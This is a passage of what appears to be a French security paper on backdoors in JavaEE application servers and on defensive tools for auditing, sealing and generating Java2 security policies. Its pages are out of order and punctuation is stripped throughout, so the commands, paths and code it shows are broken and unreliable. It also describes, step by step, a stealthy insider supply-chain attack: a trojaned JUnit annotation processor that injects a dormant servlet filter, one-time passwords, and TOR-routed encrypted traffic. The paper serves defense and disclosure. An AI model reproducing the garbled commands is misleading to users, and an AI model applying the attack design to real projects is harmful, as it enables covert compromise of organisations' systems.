Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

